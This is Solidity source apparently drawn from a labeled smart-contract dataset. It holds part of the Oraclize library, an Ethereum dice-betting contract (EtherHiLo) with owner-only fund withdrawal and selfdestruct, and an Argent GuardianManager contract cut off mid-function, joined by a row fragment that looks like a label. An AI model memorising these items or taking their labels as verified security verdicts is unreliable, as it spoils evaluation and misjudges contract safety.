bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(delay_bytes8_left, args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
pragma solidity ^0.4.19;
contract EtherHiLo is usingOraclize, Ownable {
uint8 constant NUM_DICE_SIDES = 13;
uint public rngCallbackGas;
uint public minBet;
uint public maxBetThresholdPct;
bool public gameRunning;
uint public balanceInPlay;
Game[] public gamesCompleted;
mapping(address => Game[]) public playerGamesCompleted;
mapping(address => Game) private gamesInProgress;
mapping(bytes32 => address) private rollIdToGameAddress;
event GameStarted(address indexed player, uint indexed playerGameNumber, uint bet);
event FirstRoll(address indexed player, uint indexed playerGameNumber, uint bet, uint roll);
event DirectionChosen(address indexed player, uint indexed playerGameNumber, uint bet, uint firstRoll, BetDirection direction);
event GameFinished(address indexed player, uint indexed playerGameNumber, uint bet, uint firstRoll, uint finalRoll, uint winnings, uint payout);
enum BetDirection {
None,
Low,
High
}
struct Game {
address player;
uint bet;
uint firstRoll;
uint finalRoll;
BetDirection direction;
uint winnings;
uint when;
}
modifier gameIsRunning() {
require(gameRunning);
_;
}
modifier gameInProgress(address player) {
require(player != address(0));
require(gamesInProgress[player].player != address(0));
_;
}
modifier gameNotInProgress(address player) {
require(player != address(0));
require(gamesInProgress[player].player == address(0));
_;
}
modifier onlyOraclize {
require(msg.sender == oraclize_cbAddress());
_;
}
modifier validBet(uint bet) {
require(isValidBet(bet));
_;
}
function EtherHiLo() public {
oraclize_setProof(proofType_Ledger);
setRNGCallbackGas(4500000);
setMinBet(1 finney);
setGameRunning(true);
setMaxBetThresholdPct(50);
}
function() external payable {
}
function isGameRunning() public view returns (bool) {
return gameRunning;
}
function beginGame() public payable
gameIsRunning
gameNotInProgress(msg.sender)
validBet(msg.value) {
address player = msg.sender;
uint bet = msg.value;
Game memory game = Game({
player: player,
bet: bet,
firstRoll: 0,
finalRoll: 0,
direction: BetDirection.None,
winnings: 0,
when: block.timestamp
});
balanceInPlay = balanceInPlay + game.bet;
gamesInProgress[player] = game;
rollDie(player);
GameStarted(player, playerGamesCompleted[player].length, bet);
}
function finishGame(BetDirection direction) public gameInProgress(msg.sender) {
address player = msg.sender;
require(player != address(0));
require(direction != BetDirection.None);
Game storage game = gamesInProgress[player];
require(game.player != address(0));
game.direction = direction;
gamesInProgress[player] = game;
rollDie(player);
DirectionChosen(player, playerGamesCompleted[player].length, game.bet, game.firstRoll, direction);
}
function getGameState(address player) public view returns
(bool, uint, uint, uint, BetDirection, uint, uint, uint) {
require(player != address(0));
return (
gamesInProgress[player].player != address(0),
gamesInProgress[player].bet,
gamesInProgress[player].firstRoll,
gamesInProgress[player].finalRoll,
gamesInProgress[player].direction,
playerGamesCompleted[player].length,
getMinBet(),
getMaxBet()
);
}
function isValidBet(uint bet) public view returns (bool) {
return bet >= minBet && bet <= getMaxBet();
}
function getMinBet() public view returns (uint) {
return minBet;
}
function getMaxBet() public view returns (uint) {
return SafeMath.div(SafeMath.div(SafeMath.mul(this.balance - balanceInPlay, maxBetThresholdPct), 100), 12);
}
function getBalanceInPlay() public view returns (uint) {
return balanceInPlay;
}
function getNumberOfGamesCompleted() public view returns (uint) {
return gamesCompleted.length;
}
function getGameCompleted(uint index) public view
returns (address, uint, uint, uint, BetDirection, uint, uint) {
Game storage game = gamesCompleted[index];
return (game.player, game.bet, game.firstRoll, game.finalRoll, game.direction, game.winnings, game.when);
}
function getNumberOfMyGamesCompleted(address player) public view returns (uint) {
require(player != address(0));
return playerGamesCompleted[player].length;
}
function getMyGameCompleted(address player, uint index) public view
returns (address, uint, uint, uint, BetDirection, uint, uint) {
require(player != address(0));
Game storage game = playerGamesCompleted[player][index];
return (game.player, game.bet, game.firstRoll, game.finalRoll, game.direction, game.winnings, game.when);
}
function calculateWinnings(uint bet, uint percent) public pure returns (uint) {
return SafeMath.div(SafeMath.mul(bet, percent), 100);
}
function getLowWinPercent(uint number) public pure returns (uint) {
require(number >= 2 && number <= NUM_DICE_SIDES);
if (number == 2) {
return 1200;
} else if (number == 3) {
return 500;
} else if (number == 4) {
return 300;
} else if (number == 5) {
return 300;
} else if (number == 6) {
return 200;
} else if (number == 7) {
return 180;
} else if (number == 8) {
return 150;
} else if (number == 9) {
return 140;
} else if (number == 10) {
return 130;
} else if (number == 11) {
return 120;
} else if (number == 12) {
return 110;
} else if (number == 13) {
return 100;
}
}
function getHighWinPercent(uint number) public pure returns (uint) {
require(number >= 1 && number < NUM_DICE_SIDES);
if (number == 1) {
return 100;
} else if (number == 2) {
return 110;
} else if (number == 3) {
return 120;
} else if (number == 4) {
return 130;
} else if (number == 5) {
return 140;
} else if (number == 6) {
return 150;
} else if (number == 7) {
return 180;
} else if (number == 8) {
return 200;
} else if (number == 9) {
return 300;
} else if (number == 10) {
return 300;
} else if (number == 11) {
return 500;
} else if (number == 12) {
return 1200;
}
}
function processDiceRoll(address player, uint roll) private {
Game storage game = gamesInProgress[player];
require(game.player != address(0));
if (game.firstRoll == 0) {
game.firstRoll = roll;
gamesInProgress[player] = game;
FirstRoll(player, playerGamesCompleted[player].length, game.bet, game.firstRoll);
} else if (game.finalRoll == 0) {
game.finalRoll = roll;
uint winnings = 0;
if (game.direction == BetDirection.High && game.finalRoll > game.firstRoll) {
winnings = calculateWinnings(game.bet, getHighWinPercent(game.firstRoll));
} else if (game.direction == BetDirection.Low && game.finalRoll < game.firstRoll) {
winnings = calculateWinnings(game.bet, getLowWinPercent(game.firstRoll));
}
game.winnings = winnings;
uint transferAmount = winnings;
if (transferAmount > this.balance) {
if (game.bet < this.balance) {
transferAmount = game.bet;
} else {
transferAmount = SafeMath.div(SafeMath.mul(this.balance, 90), 100);
}
}
balanceInPlay = balanceInPlay - game.bet;
gamesCompleted.push(game);
playerGamesCompleted[player].push(game);
if (transferAmount > 0) {
game.player.transfer(transferAmount);
}
GameFinished(player, playerGamesCompleted[player].length - 1, game.bet, game.firstRoll, game.finalRoll, game.winnings, transferAmount);
delete gamesInProgress[player];
}
}
function processFailedVerification(bytes32 rollId) private {
address player = rollIdToGameAddress[rollId];
require(player != address(0));
Game storage game = gamesInProgress[player];
require(game.player != address(0));
game.player.transfer(game.bet);
delete rollIdToGameAddress[rollId];
delete gamesInProgress[player];
}
function rollDie(address player) private {
uint N = 7;
uint delay = 0;
bytes32 queryId = oraclize_newRandomDSQuery(delay, N, rngCallbackGas);
rollIdToGameAddress[queryId] = player;
}
function __callback(bytes32 _queryId, string _result, bytes _proof) onlyOraclize {
if (oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) != 0) {
processFailedVerification(_queryId);
} else {
address player = rollIdToGameAddress[_queryId];
require(player != address(0));
uint randomNumber = (uint(keccak256(_result)) % NUM_DICE_SIDES) + 1;
processDiceRoll(player, randomNumber);
delete rollIdToGameAddress[_queryId];
}
}
function transferBalance(address to, uint amount) public onlyOwner {
to.transfer(amount);
}
function cleanupAbandonedGame(address player) public onlyOwner {
require(player != address(0));
Game storage game = gamesInProgress[player];
require(game.player != address(0));
uint elapsed = block.timestamp - game.when;
require(elapsed >= 86400);
game.player.transfer(game.bet);
delete gamesInProgress[game.player];
}
function setRNGCallbackGas(uint gas) public onlyOwner {
rngCallbackGas = gas;
}
function setMinBet(uint bet) public onlyOwner {
minBet = bet;
}
function setGameRunning(bool v) public onlyOwner {
gameRunning = v;
}
function setMaxBetThresholdPct(uint v) public onlyOwner {
maxBetThresholdPct = v;
}
function destroy() public onlyOwner {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) public onlyOwner {
selfdestruct(_recipient);
}
} | 0 | 1,874 |
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
interface ERC20 {
function totalSupply() external view returns (uint);
function decimals() external view returns (uint);
function balanceOf(address tokenOwner) external view returns (uint balance);
function allowance(address tokenOwner, address spender) external view returns (uint remaining);
function transfer(address to, uint tokens) external returns (bool success);
function approve(address spender, uint tokens) external returns (bool success);
function transferFrom(address from, address to, uint tokens) external returns (bool success);
}
library GuardianUtils {
function isGuardianOrGuardianSigner(address[] memory _guardians, address _guardian) internal view returns (bool, address[] memory) {
if (_guardians.length == 0 || _guardian == address(0)) {
return (false, _guardians);
}
bool isFound = false;
address[] memory updatedGuardians = new address[](_guardians.length - 1);
uint256 index = 0;
for (uint256 i = 0; i < _guardians.length; i++) {
if (!isFound) {
if (_guardian == _guardians[i]) {
isFound = true;
continue;
}
if (isContract(_guardians[i]) && isGuardianOwner(_guardians[i], _guardian)) {
isFound = true;
continue;
}
}
if (index < updatedGuardians.length) {
updatedGuardians[index] = _guardians[i];
index++;
}
}
return isFound ? (true, updatedGuardians) : (false, _guardians);
}
function isContract(address _addr) internal view returns (bool) {
uint32 size;
assembly {
size := extcodesize(_addr)
}
return (size > 0);
}
function isGuardianOwner(address _guardian, address _owner) internal view returns (bool) {
address owner = address(0);
bytes4 sig = bytes4(keccak256("owner()"));
assembly {
let ptr := mload(0x40)
mstore(ptr,sig)
let result := staticcall(5000, _guardian, ptr, 0x20, ptr, 0x20)
if eq(result, 1) {
owner := mload(ptr)
}
}
return owner == _owner;
}
}
interface IFeature {
enum OwnerSignature {
Anyone,
Required,
Optional,
Disallowed
}
function recoverToken(address _token) external;
function init(address _wallet) external;
function isFeatureAuthorisedInVersionManager(address _wallet, address _feature) external view returns (bool);
function getRequiredSignatures(address _wallet, bytes calldata _data) external view returns (uint256, OwnerSignature);
function getStaticCallSignatures() external view returns (bytes4[] memory);
}
interface IGuardianStorage {
function addGuardian(address _wallet, address _guardian) external;
function revokeGuardian(address _wallet, address _guardian) external;
function isGuardian(address _wallet, address _guardian) external view returns (bool);
function isLocked(address _wallet) external view returns (bool);
function getLock(address _wallet) external view returns (uint256);
function getLocker(address _wallet) external view returns (address);
function setLock(address _wallet, uint256 _releaseAfter) external;
function getGuardians(address _wallet) external view returns (address[] memory);
function guardianCount(address _wallet) external view returns (uint256);
}
interface ILimitStorage {
struct Limit {
uint128 current;
uint128 pending;
uint64 changeAfter;
}
struct DailySpent {
uint128 alreadySpent;
uint64 periodEnd;
}
function setLimit(address _wallet, Limit memory _limit) external;
function getLimit(address _wallet) external view returns (Limit memory _limit);
function setDailySpent(address _wallet, DailySpent memory _dailySpent) external;
function getDailySpent(address _wallet) external view returns (DailySpent memory _dailySpent);
function setLimitAndDailySpent(address _wallet, Limit memory _limit, DailySpent memory _dailySpent) external;
function getLimitAndDailySpent(address _wallet) external view returns (Limit memory _limit, DailySpent memory _dailySpent);
}
interface ILockStorage {
function isLocked(address _wallet) external view returns (bool);
function getLock(address _wallet) external view returns (uint256);
function getLocker(address _wallet) external view returns (address);
function setLock(address _wallet, address _locker, uint256 _releaseAfter) external;
}
interface IModuleRegistry {
function registerModule(address _module, bytes32 _name) external;
function deregisterModule(address _module) external;
function registerUpgrader(address _upgrader, bytes32 _name) external;
function deregisterUpgrader(address _upgrader) external;
function recoverToken(address _token) external;
function moduleInfo(address _module) external view returns (bytes32);
function upgraderInfo(address _upgrader) external view returns (bytes32);
function isRegisteredModule(address _module) external view returns (bool);
function isRegisteredModule(address[] calldata _modules) external view returns (bool);
function isRegisteredUpgrader(address _upgrader) external view returns (bool);
}
interface IVersionManager {
function isFeatureAuthorised(address _wallet, address _feature) external view returns (bool);
function checkAuthorisedFeatureAndInvokeWallet(
address _wallet,
address _to,
uint256 _value,
bytes calldata _data
) external returns (bytes memory _res);
function setOwner(address _wallet, address _newOwner) external;
function invokeStorage(address _wallet, address _storage, bytes calldata _data) external;
function upgradeWallet(address _wallet, uint256 _toVersion) external;
}
interface IWallet {
function owner() external view returns (address);
function modules() external view returns (uint);
function setOwner(address _newOwner) external;
function authorised(address _module) external view returns (bool);
function enabled(bytes4 _sig) external view returns (address);
function authoriseModule(address _module, bool _value) external;
function enableStaticCall(address _module, bytes4 _method) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Utils {
function recoverSigner(bytes32 _signedHash, bytes memory _signatures, uint _index) internal pure returns (address) {
uint8 v;
bytes32 r;
bytes32 s;
assembly {
r := mload(add(_signatures, add(0x20,mul(0x41,_index))))
s := mload(add(_signatures, add(0x40,mul(0x41,_index))))
v := and(mload(add(_signatures, add(0x41,mul(0x41,_index)))), 0xff)
}
require(v == 27 || v == 28);
address recoveredAddress = ecrecover(_signedHash, v, r, s);
require(recoveredAddress != address(0), "Utils: ecrecover returned 0");
return recoveredAddress;
}
function functionPrefix(bytes memory _data) internal pure returns (bytes4 prefix) {
require(_data.length >= 4, "RM: Invalid functionPrefix");
assembly {
prefix := mload(add(_data, 0x20))
}
}
function ceil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
if (a % b == 0) {
return c;
} else {
return c + 1;
}
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
if (a < b) {
return a;
}
return b;
}
}
contract BaseFeature is IFeature {
bytes constant internal EMPTY_BYTES = "";
address constant internal ETH_TOKEN = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
ILockStorage internal lockStorage;
IVersionManager internal versionManager;
event FeatureCreated(bytes32 name);
modifier onlyWhenUnlocked(address _wallet) {
require(!lockStorage.isLocked(_wallet), "BF: wallet locked");
_;
}
modifier onlyVersionManager() {
require(msg.sender == address(versionManager), "BF: caller must be VersionManager");
_;
}
modifier onlyWalletOwner(address _wallet) {
require(isOwner(_wallet, msg.sender), "BF: must be wallet owner");
_;
}
modifier onlyWalletFeature(address _wallet) {
require(versionManager.isFeatureAuthorised(_wallet, msg.sender), "BF: must be a wallet feature");
_;
}
modifier onlyWalletOwnerOrFeature(address _wallet) {
verifyOwnerOrAuthorisedFeature(_wallet, msg.sender);
_;
}
constructor(
ILockStorage _lockStorage,
IVersionManager _versionManager,
bytes32 _name
) public {
lockStorage = _lockStorage;
versionManager = _versionManager;
emit FeatureCreated(_name);
}
function recoverToken(address _token) external virtual override {
uint total = ERC20(_token).balanceOf(address(this));
_token.call(abi.encodeWithSelector(ERC20(_token).transfer.selector, address(versionManager), total));
}
function init(address _wallet) external virtual override {}
function getRequiredSignatures(address, bytes calldata) external virtual view override returns (uint256, OwnerSignature) {
revert("BF: disabled method");
}
function getStaticCallSignatures() external virtual override view returns (bytes4[] memory _sigs) {}
function isFeatureAuthorisedInVersionManager(address _wallet, address _feature) public override view returns (bool) {
return versionManager.isFeatureAuthorised(_wallet, _feature);
}
function verifyData(address _wallet, bytes calldata _data) internal pure returns (bool) {
require(_data.length >= 36, "RM: Invalid dataWallet");
address dataWallet = abi.decode(_data[4:], (address));
return dataWallet == _wallet;
}
function isOwner(address _wallet, address _addr) internal view returns (bool) {
return IWallet(_wallet).owner() == _addr;
}
function verifyOwnerOrAuthorisedFeature(address _wallet, address _sender) internal view {
require(isFeatureAuthorisedInVersionManager(_wallet, _sender) || isOwner(_wallet, _sender), "BF: must be owner or feature");
}
function invokeWallet(address _wallet, address _to, uint256 _value, bytes memory _data)
internal
returns (bytes memory _res)
{
_res = versionManager.checkAuthorisedFeatureAndInvokeWallet(_wallet, _to, _value, _data);
}
}
contract GuardianManager is BaseFeature {
bytes32 constant NAME = "GuardianManager";
bytes4 constant internal CONFIRM_ADDITION_PREFIX = bytes4(keccak256("confirmGuardianAddition(address,address)"));
bytes4 constant internal CONFIRM_REVOKATION_PREFIX = bytes4(keccak256("confirmGuardianRevokation(address,address)"));
struct GuardianManagerConfig {
mapping (bytes32 => uint256) pending;
}
mapping (address => GuardianManagerConfig) internal configs;
uint256 public securityPeriod;
uint256 public securityWindow;
IGuardianStorage public guardianStorage;
event GuardianAdditionRequested(address indexed wallet, address indexed guardian, uint256 executeAfter);
event GuardianRevokationRequested(address indexed wallet, address indexed guardian, uint256 executeAfter);
event GuardianAdditionCancelled(address indexed wallet, address indexed guardian);
event GuardianRevokationCancelled(address indexed wallet, address indexed guardian);
event GuardianAdded(address indexed wallet, address indexed guardian);
event GuardianRevoked(address indexed wallet, address indexed guardian);
constructor(
ILockStorage _lockStorage,
IGuardianStorage _guardianStorage,
IVersionManager _versionManager,
uint256 _securityPeriod,
uint256 _securityWindow
)
BaseFeature(_lockStorage, _versionManager, NAME)
public
{
guardianStorage = _guardianStorage;
securityPeriod = _securityPeriod;
securityWindow = _securityWindow;
}
function addGuardian(address _wallet, address _guardian) external onlyWalletOwnerOrFeature(_wallet) onlyWhenUnlocked(_wallet) {
require(!isOwner(_wallet, _guardian), "GM: target guardian cannot be owner");
require(!isGuardian(_wallet, _guardian), "GM: target is already a guardian");
(bool success,) = _guardian.call{gas: 5000}(abi.encodeWithSignature("owner()"));
require(success, "GM: guardian must be EOA or implement owner()");
if (guardianStorage.guardianCount(_wallet) == 0) {
doAddGuardian(_wallet, _guardian);
emit GuardianAdded(_wallet, _guardian);
} else {
bytes32 id = keccak256(abi.encodePacked(_wallet, _guardian, "addition"));
GuardianManagerConfig storage config = configs[_wallet];
require(
config.pending[id] == 0 || block.timestamp > config.pending[id] + securityWindow,
"GM: addition of target as guardian is already pending");
config.pending[id] = block.timestamp + securityPeriod;
emit GuardianAdditionRequested(_wallet, _guardian, block.timestamp + securityPeriod);
}
}
function confirmGuardianAddition(address _wallet, address _guardian) external onlyWhenUnlocked(_wallet) {
bytes32 id = keccak256(abi.encodePacked(_wallet, _guardian, "addition"));
GuardianManagerConfig storage config = configs[_wallet];
require(config.pending[id] > 0, "GM: no pending addition as guardian for target");
require(config.pending[id] < block.timestamp, "GM: Too early to confirm guardian addition");
require(block.timestamp < config.pending[id] + securityWindow, "GM: Too late to confirm guardian addition");
doAddGuardian(_wallet, _guardian);
emit GuardianAdded(_wallet, _guardian);
delete config.pending[id];
}
function cancelGuardianAddition(address _wallet, address _guardian) external onlyWalletOwnerOrFeature(_wallet) onlyWhenUnlocked(_wallet) {
bytes32 id = keccak256(abi.encodePacked(_wallet, _guardian, "addition"));
GuardianManagerConfig storage config = configs[_wallet];
require(config.pending[id] > 0, "GM: no pending addition as guardian for target");
delete config.pending[id];
emit GuardianAdditionCancelled(_wallet, _guardian);
}
function revokeGuardian(address _wallet, address _guardian) external onlyWalletOwnerOrFeature(_wallet) {
require(isGuardian(_wallet, _guardian), "GM: must be an existing guardian");
